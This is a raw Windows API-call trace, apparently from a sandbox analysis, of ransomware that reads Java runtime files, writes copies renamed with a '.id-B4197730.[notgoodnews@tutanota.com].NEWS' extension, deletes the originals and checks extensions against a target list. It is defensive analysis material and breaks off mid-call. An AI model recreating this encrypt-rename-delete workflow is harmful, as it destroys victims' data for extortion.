52 [0161.219] lstrlenW (lpString=".jpg") returned 4 [0161.219] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.219] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0161.219] lstrlenW (lpString="flavormap.properties") returned 20 [0161.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0161.220] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3928) returned 1 [0161.220] CloseHandle (hObject=0x474) returned 1 [0161.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0161.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0161.220] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.220] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.221] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0161.221] GetLastError () returned 0x0 [0161.221] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0xf58, lpOverlapped=0x0) returned 1 [0161.223] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xf60, lpOverlapped=0x0) returned 1 [0161.224] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.224] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xfc, lpOverlapped=0x0) returned 1 [0161.224] SetEndOfFile (hFile=0x4b8) returned 1 [0161.224] CloseHandle (hObject=0x4b8) returned 1 [0161.224] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.224] SetEndOfFile (hFile=0x474) returned 1 [0161.227] CloseHandle (hObject=0x474) returned 1 [0161.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.228] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1 [0161.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.229] lstrlenW (lpString=".doc") returned 4 [0161.229] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0161.229] lstrlenW (lpString=".docx") returned 5 [0161.229] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0161.229] lstrlenW (lpString=".pdf") returned 4 [0161.229] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0161.229] lstrlenW (lpString=".xls") returned 4 [0161.229] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0161.229] lstrlenW (lpString=".xlsx") returned 5 [0161.229] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0161.229] lstrlenW (lpString=".ppt") returned 4 [0161.229] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0161.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.229] lstrlenW (lpString=".zip") returned 4 [0161.229] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0161.229] lstrlenW (lpString=".rar") returned 4 [0161.229] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0161.229] lstrlenW (lpString=".bz2") returned 4 [0161.229] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0161.229] lstrlenW (lpString=".7z") returned 3 [0161.229] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0161.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.229] lstrlenW (lpString=".dbf") returned 4 [0161.229] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0161.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.229] lstrlenW (lpString=".1cd") returned 4 [0161.229] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0161.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.230] lstrlenW (lpString=".jpg") returned 4 [0161.230] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0161.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.230] lstrlenW (lpString=".doc") returned 4 [0161.230] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0161.230] lstrlenW (lpString=".docx") returned 5 [0161.230] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0161.230] lstrlenW (lpString=".pdf") returned 4 [0161.230] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0161.230] lstrlenW (lpString=".xls") returned 4 [0161.230] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0161.230] lstrlenW (lpString=".xlsx") returned 5 [0161.230] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0161.230] lstrlenW (lpString=".ppt") returned 4 [0161.230] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0161.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.230] lstrlenW (lpString=".zip") returned 4 [0161.230] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0161.230] lstrlenW (lpString=".rar") returned 4 [0161.230] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0161.230] lstrlenW (lpString=".bz2") returned 4 [0161.230] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0161.230] lstrlenW (lpString=".7z") returned 3 [0161.230] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0161.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.230] lstrlenW (lpString=".dbf") returned 4 [0161.230] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0161.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.230] lstrlenW (lpString=".1cd") returned 4 [0161.230] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0161.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0161.230] lstrlenW (lpString=".jpg") returned 4 [0161.230] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0161.231] lstrcmpiW (lpString1=".bfc", lpString2=".NEWS") returned -1 [0161.231] lstrlenW (lpString="fontconfig.bfc") returned 14 [0161.231] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0161.231] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3770) returned 1 [0161.231] CloseHandle (hObject=0x474) returned 1 [0161.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0161.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.232] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0161.232] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.232] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.232] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0161.233] GetLastError () returned 0x0 [0161.233] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0xeba, lpOverlapped=0x0) returned 1 [0161.235] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec0, lpOverlapped=0x0) returned 1 [0161.238] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.238] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xf0, lpOverlapped=0x0) returned 1 [0161.238] SetEndOfFile (hFile=0x4b8) returned 1 [0161.239] CloseHandle (hObject=0x4b8) returned 1 [0161.239] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.239] SetEndOfFile (hFile=0x474) returned 1 [0161.242] CloseHandle (hObject=0x474) returned 1 [0161.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.243] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1 [0161.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.243] lstrlenW (lpString=".doc") returned 4 [0161.243] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0161.243] lstrlenW (lpString=".docx") returned 5 [0161.243] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0161.243] lstrlenW (lpString=".pdf") returned 4 [0161.243] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0161.243] lstrlenW (lpString=".xls") returned 4 [0161.243] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0161.243] lstrlenW (lpString=".xlsx") returned 5 [0161.243] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0161.244] lstrlenW (lpString=".ppt") returned 4 [0161.244] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0161.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.244] lstrlenW (lpString=".zip") returned 4 [0161.244] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0161.244] lstrlenW (lpString=".rar") returned 4 [0161.244] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0161.244] lstrlenW (lpString=".bz2") returned 4 [0161.244] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0161.244] lstrlenW (lpString=".7z") returned 3 [0161.244] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0161.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.244] lstrlenW (lpString=".dbf") returned 4 [0161.244] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0161.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.244] lstrlenW (lpString=".1cd") returned 4 [0161.245] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0161.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.245] lstrlenW (lpString=".jpg") returned 4 [0161.245] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0161.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.245] lstrlenW (lpString=".doc") returned 4 [0161.245] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0161.245] lstrlenW (lpString=".docx") returned 5 [0161.245] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0161.245] lstrlenW (lpString=".pdf") returned 4 [0161.245] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0161.245] lstrlenW (lpString=".xls") returned 4 [0161.245] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0161.245] lstrlenW (lpString=".xlsx") returned 5 [0161.245] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0161.245] lstrlenW (lpString=".ppt") returned 4 [0161.245] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0161.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.245] lstrlenW (lpString=".zip") returned 4 [0161.245] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0161.245] lstrlenW (lpString=".rar") returned 4 [0161.245] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0161.245] lstrlenW (lpString=".bz2") returned 4 [0161.245] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0161.245] lstrlenW (lpString=".7z") returned 3 [0161.245] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0161.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.245] lstrlenW (lpString=".dbf") returned 4 [0161.245] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0161.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.245] lstrlenW (lpString=".1cd") returned 4 [0161.245] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0161.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0161.246] lstrlenW (lpString=".jpg") returned 4 [0161.246] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0161.246] lstrcmpiW (lpString1=".src", lpString2=".NEWS") returned 1 [0161.246] lstrlenW (lpString="fontconfig.properties.src") returned 25 [0161.246] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0161.246] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=10568) returned 1 [0161.246] CloseHandle (hObject=0x474) returned 1 [0161.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0161.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0161.247] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.247] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0161.248] GetLastError () returned 0x0 [0161.248] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2948, lpOverlapped=0x0) returned 1 [0161.722] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2950, lpOverlapped=0x0) returned 1 [0161.723] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.724] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x106, lpOverlapped=0x0) returned 1 [0161.724] SetEndOfFile (hFile=0x4b8) returned 1 [0161.724] CloseHandle (hObject=0x4b8) returned 1 [0161.724] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.724] SetEndOfFile (hFile=0x474) returned 1 [0161.727] CloseHandle (hObject=0x474) returned 1 [0161.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.727] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1 [0161.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.728] lstrlenW (lpString=".doc") returned 4 [0161.728] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0161.728] lstrlenW (lpString=".docx") returned 5 [0161.728] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0161.728] lstrlenW (lpString=".pdf") returned 4 [0161.728] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0161.728] lstrlenW (lpString=".xls") returned 4 [0161.728] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0161.728] lstrlenW (lpString=".xlsx") returned 5 [0161.728] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0161.728] lstrlenW (lpString=".ppt") returned 4 [0161.728] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0161.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.728] lstrlenW (lpString=".zip") returned 4 [0161.728] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0161.728] lstrlenW (lpString=".rar") returned 4 [0161.728] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0161.728] lstrlenW (lpString=".bz2") returned 4 [0161.728] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0161.728] lstrlenW (lpString=".7z") returned 3 [0161.728] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0161.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.728] lstrlenW (lpString=".dbf") returned 4 [0161.729] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0161.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.729] lstrlenW (lpString=".1cd") returned 4 [0161.729] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0161.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.729] lstrlenW (lpString=".jpg") returned 4 [0161.729] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0161.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.729] lstrlenW (lpString=".doc") returned 4 [0161.729] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0161.729] lstrlenW (lpString=".docx") returned 5 [0161.729] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0161.729] lstrlenW (lpString=".pdf") returned 4 [0161.729] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0161.729] lstrlenW (lpString=".xls") returned 4 [0161.729] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0161.729] lstrlenW (lpString=".xlsx") returned 5 [0161.729] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0161.729] lstrlenW (lpString=".ppt") returned 4 [0161.729] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0161.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.729] lstrlenW (lpString=".zip") returned 4 [0161.729] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0161.729] lstrlenW (lpString=".rar") returned 4 [0161.729] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0161.729] lstrlenW (lpString=".bz2") returned 4 [0161.729] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0161.729] lstrlenW (lpString=".7z") returned 3 [0161.729] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0161.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.729] lstrlenW (lpString=".dbf") returned 4 [0161.729] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0161.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.730] lstrlenW (lpString=".1cd") returned 4 [0161.730] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0161.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0161.730] lstrlenW (lpString=".jpg") returned 4 [0161.730] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0161.730] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0161.730] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22 [0161.730] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0161.731] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=317896) returned 1 [0161.731] CloseHandle (hObject=0x474) returned 1 [0161.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0161.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), 